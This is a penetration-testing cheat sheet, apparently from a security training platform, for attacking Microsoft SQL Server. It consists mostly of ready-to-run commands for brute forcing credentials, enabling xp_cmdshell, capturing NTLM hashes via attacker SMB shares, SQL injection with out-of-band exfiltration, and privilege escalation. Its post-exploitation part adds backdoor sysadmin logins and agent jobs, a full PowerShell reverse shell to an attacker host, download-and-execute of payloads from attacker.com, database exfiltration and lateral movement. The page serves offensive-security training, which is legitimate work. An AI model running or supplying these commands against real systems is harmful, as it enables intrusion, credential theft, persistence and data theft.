Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

MSSQL (Microsoft SQL Server)

Default Port: 1433

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It's widely used in enterprise environments and integrates tightly with Windows infrastructure. MSSQL offers powerful features including stored procedures, xp_cmdshell for command execution, and extensive Windows authentication integration.

Connect​

Using mssqlclient.py (Impacket)​

# Windows authentication
mssqlclient.py DOMAIN/username:password@target.com

# SQL authentication
mssqlclient.py sa:password@target.com -windows-auth

# With specific database
mssqlclient.py username:password@target.com -db master

# Using hash (Pass-the-Hash)
mssqlclient.py username@target.com -hashes :NTHASH

Using sqsh​

# Connect with SQL authentication
sqsh -S target.com -U sa -P password

# Connect with Windows authentication
sqsh -S target.com -U DOMAIN\\username -P password

Using sqlcmd (Windows)​

# Local connection
sqlcmd -S localhost -U sa -P password

# Remote connection
sqlcmd -S target.com,1433 -U sa -P password

# Windows authentication
sqlcmd -S target.com -E

# Execute query directly
sqlcmd -S target.com -U sa -P password -Q "SELECT @@version"

Using DBeaver / SQL Server Management Studio (GUI)​

Server: target.com
Port: 1433
Username: sa
Password: password
Authentication: SQL Server / Windows

Recon​

Service Detection with Nmap​

Use Nmap to detect MSSQL services and identify server capabilities.

nmap -p 1433 target.com

Identify MSSQL server version and gather configuration details.

Using netcat​

# Using netcat
nc -vn target.com 1433

Using nmap​

# Using Nmap
nmap -p 1433 -sV --script-args mssql.instance-all target.com

Instance Discovery​

Discover MSSQL instances using various methods.

Using nmap​

# SQL Server Browser Service (UDP 1434)
nmap -sU -p 1434 --script ms-sql-discover target.com

Using PowerShell​

# Using PowerShell
Get-SQLInstanceDomain

Using Metasploit​

# Using Metasploit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS target.com
run

Enumeration​

Version Detection​

Identifying the SQL Server version helps determine applicable exploits and security vulnerabilities.

# Get SQL Server version
SELECT @@version;

# Get product version
SELECT SERVERPROPERTY('ProductVersion');
SELECT SERVERPROPERTY('ProductLevel');
SELECT SERVERPROPERTY('Edition');

# Get machine name
SELECT @@SERVERNAME;
SELECT SERVERPROPERTY('MachineName');

Database Enumeration​

Enumerating databases reveals the data landscape and helps identify high-value targets.

# List all databases
SELECT name FROM sys.databases;
SELECT name FROM master.dbo.sysdatabases;

# Current database
SELECT DB_NAME();

# Database information
SELECT name, database_id, create_date 
FROM sys.databases;

# Database size
EXEC sp_helpdb;

User Enumeration​

Understanding user accounts and their permissions is critical for privilege escalation.

# List all users
SELECT name FROM master.sys.server_principals;
SELECT name FROM sys.sysusers;

# Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;
SELECT CURRENT_USER;

# User privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# List sysadmin users
SELECT name FROM master.sys.server_principals 
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;

Table and Column Enumeration​

Extract table and column information from databases.

# List tables in current database
SELECT table_name FROM information_schema.tables;

# List all columns in a table
SELECT column_name, data_type 
FROM information_schema.columns 
WHERE table_name = 'users';

# Search for specific column names
SELECT table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%password%';

# Count rows in tables
SELECT t.name, p.rows 
FROM sys.tables t
INNER JOIN sys.partitions p ON t.object_id = p.object_id
WHERE p.index_id < 2;

Privilege Enumeration​

Check user privileges and role memberships.

# Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

# Check server roles
SELECT name FROM master.sys.server_principals 
WHERE type = 'R';

# Current user permissions
EXEC sp_helprotect;

# Database role members
EXEC sp_helprolemember;

Linked Server Enumeration​

Enumerate linked servers and test connections.

# List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

# Test linked server connection
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@version');

# Execute on linked server
EXEC ('SELECT @@version') AT [LinkedServerName];

Attack Vectors​

Default Credentials​

Test for common default MSSQL credentials.

# Common default credentials
sa:<blank>
sa:sa
sa:password
sa:Password123
sa:P@ssw0rd

# Try with mssqlclient
mssqlclient.py sa@target.com
mssqlclient.py sa:sa@target.com
mssqlclient.py sa:password@target.com

Brute Force Attack​

Brute forcing MSSQL credentials can reveal weak passwords, especially on systems using SQL authentication.

Using Hydra​

hydra -l sa -P /usr/share/wordlists/rockyou.txt target.com mssql

Using Metasploit​

use auxiliary/scanner/mssql/mssql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Using Nmap​

nmap -p 1433 --script ms-sql-brute \
  --script-args userdb=users.txt,passdb=passwords.txt target.com

Command Execution via xp_cmdshell​

Execute operating system commands through MSSQL using xp_cmdshell.

Enabling xp_cmdshell​

# Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Command Execution​

# Execute command
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';

# Disable xp_cmdshell (for stealth)
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

Reading Files​

Read files from the file system using various MSSQL methods.

Using OPENROWSET​

# Read file using OPENROWSET
SELECT * FROM OPENROWSET(
  BULK 'C:\Windows\System32\drivers\etc\hosts',
  SINGLE_CLOB
) AS Contents;

Using xp_cmdshell and Extended Procedures​

# Read file using xp_cmdshell
EXEC xp_cmdshell 'type C:\Windows\win.ini';

# Using xp_dirtree to list directories
EXEC master..xp_dirtree 'C:\', 1, 1;

# Using xp_fileexist to check file existence
EXEC master..xp_fileexist 'C:\Windows\win.ini';

Writing Files​

Write files to the file system using various MSSQL methods.

Basic File Writing​

# Write to file using xp_cmdshell
EXEC xp_cmdshell 'echo test > C:\Temp\test.txt';

# Copy file
EXEC xp_cmdshell 'copy C:\source.txt C:\dest.txt';

Advanced File Operations​

# Download file from web
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Temp\shell.exe"';

# Using BCP utility to export data
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:\users.txt" -c -T';

Capturing MSSQL Service Hash​

Capture NTLM hashes by forcing MSSQL to authenticate to attacker-controlled SMB shares.

Setting Up Hash Capture​

# Force MSSQL to authenticate to attacker's SMB share
# Start Responder on attacker machine
sudo responder -I eth0

# On MSSQL
EXEC xp_dirtree '\\attacker-ip\share';
EXEC xp_fileexist '\\attacker-ip\share\file';

# Or using xp_subdirs
EXEC master..xp_subdirs '\\attacker-ip\share';

Hash Cracking​

# Capture NTLMv2 hash with Responder
# Crack with hashcat
hashcat -m 5600 hash.txt rockyou.txt

SQL Injection in MSSQL Context​

Exploit SQL injection vulnerabilities in MSSQL applications.

Basic Injection Techniques​

# Stacked queries (MSSQL allows multiple statements)
'; EXEC xp_cmdshell 'whoami'--

# Time-based blind injection
'; WAITFOR DELAY '00:00:05'--

# UNION injection
' UNION SELECT null, @@version--

# Error-based injection
' AND 1=CONVERT(int, @@version)--

Advanced Injection Techniques​

# Out-of-band data exfiltration
'; DECLARE @data varchar(max); 
  SELECT @data=name FROM master.sys.databases WHERE database_id=1;
  EXEC('master..xp_dirtree "\\attacker.com\'+@data+'"')--

Privilege Escalation​

Escalate privileges using various MSSQL techniques.

Impersonation Attacks​

# Check for impersonation permissions
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

# Impersonate sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# Execute as different user
EXECUTE AS USER = 'admin_user';

# Revert to original context
REVERT;

TRUSTWORTHY Database Exploitation​

# Using TRUSTWORTHY database
# If database is TRUSTWORTHY and you have db_owner
USE master;
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Linked Server Exploitation​

Exploit linked servers for lateral movement and privilege escalation.

Basic Linked Server Commands​

# Execute commands on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# Double hop to third server
EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [Server3]') AT [Server2];

Advanced Linked Server Exploitation​

# Privilege escalation via linked server
# If linked server uses higher privileges
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [LinkedServer];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# RPC out enabled
EXEC sp_serveroption @server='LinkedServer', @optname='rpc out', @optvalue='TRUE';

Post-Exploitation​

Password Hash Extraction​

Extract and crack MSSQL password hashes.

Hash Extraction​

# Extract password hashes (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;

Using Metasploit​

# Using Metasploit
use auxiliary/scanner/mssql/mssql_hashdump
set RHOSTS target.com
set USERNAME sa
set PASSWORD password
run

# Crack MSSQL hashes
hashcat -m 1731 hashes.txt rockyou.txt

Persistence​

Establish persistent access to MSSQL systems.

User Account Backdoors​

# Create backdoor user with sysadmin
CREATE LOGIN backdoor WITH PASSWORD = 'P@ssw0rd123!';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';

Stored Procedure Backdoors​

# Create stored procedure backdoor
CREATE PROCEDURE sp_backdoor
AS
EXEC xp_cmdshell 'powershell -enc <base64_payload>';

# SQL Server Agent job for persistence
USE msdb;
EXEC sp_add_job @job_name = 'Backdoor';
EXEC sp_add_jobstep @job_name = 'Backdoor',
  @step_name = 'Execute',
  @subsystem = 'CMDEXEC',
  @command = 'powershell -enc <base64_payload>';
EXEC sp_add_schedule @schedule_name = 'Daily',
  @freq_type = 4;
EXEC sp_attach_schedule @job_name = 'Backdoor',
  @schedule_name = 'Daily';

Reverse Shell​

Establish reverse shell connections through MSSQL.

PowerShell Reverse Shell​

# PowerShell reverse shell
EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker-ip'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

Metasploit Payload Execution​

# Using Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe > shell.exe
# Upload via xp_cmdshell
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';

# Download and execute payload
EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\payload.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe';

Data Exfiltration​

Extract sensitive data from MSSQL databases.

Database Backup and Export​

# Export database to file
BACKUP DATABASE targetDB TO DISK = 'C:\Temp\backup.bak';

# Copy to attacker's share (if accessible)
EXEC xp_cmdshell 'copy C:\Temp\backup.bak \\attacker-ip\share\backup.bak';

# Export specific table
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:\users.txt" -c -T';

Advanced Exfiltration Techniques​

# Base64 encode and exfiltrate via DNS
# (Requires custom scripting with xp_cmdshell and PowerShell)

Lateral Movement​

Move laterally through the network using MSSQL access.

Domain Enumeration​

# Enumerate domain users
EXEC xp_cmdshell 'net user /domain';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';

# Enumerate shares
EXEC xp_cmdshell 'net view \\target-host';

Remote Execution​

# Execute on remote system
EXEC xp_cmdshell 'psexec \\target-host -u domain\admin -p password cmd.exe';

# WMI lateral movement
EXEC xp_cmdshell 'wmic /node:target-host process call create "cmd.exe /c payload.exe"';

Common MSSQL Procedures​

ProcedureDescriptionRequires Admin
xp_cmdshellExecute OS commandsYes
sp_configureConfigure server optionsYes
xp_dirtreeList directory contentsNo
xp_fileexistCheck file existenceNo
xp_subdirsList subdirectoriesNo
sp_linkedserversList linked serversNo
sp_addlinkedsrvloginAdd linked server loginYes
OPENROWSETQuery remote data sourceVaries
BULK INSERTImport data from fileVaries

Common MSSQL System Databases​

DatabaseDescriptionImportant Tables
masterSystem configurationsys.databases, sys.server_principals
modelTemplate for new databasesN/A
msdbSQL Server Agent datasysjobs, sysschedules
tempdbTemporary objectsN/A

Useful Tools​

ToolDescriptionPrimary Use Case
mssqlclient.pyImpacket MSSQL clientCommand-line interaction
SQL Server Management StudioGUI clientFull management
DBeaverUniversal database toolCross-platform GUI
SQLmapSQL injection toolAutomated exploitation
PowerUpSQLPowerShell MSSQL toolkitEnumeration and exploitation
NmapNetwork scannerService detection
MetasploitExploitation frameworkVarious MSSQL modules

Security Misconfigurations to Test​

  • ❌ Default sa account with weak password
  • ❌ xp_cmdshell enabled
  • ❌ Excessive user permissions
  • ❌ TRUSTWORTHY database property enabled
  • ❌ Weak authentication (SQL instead of Windows)
  • ❌ Impersonation permissions granted
  • ❌ Linked servers with high privileges
  • ❌ Unencrypted connections
  • ❌ Outdated SQL Server version
  • ❌ SQL Server Browser service enabled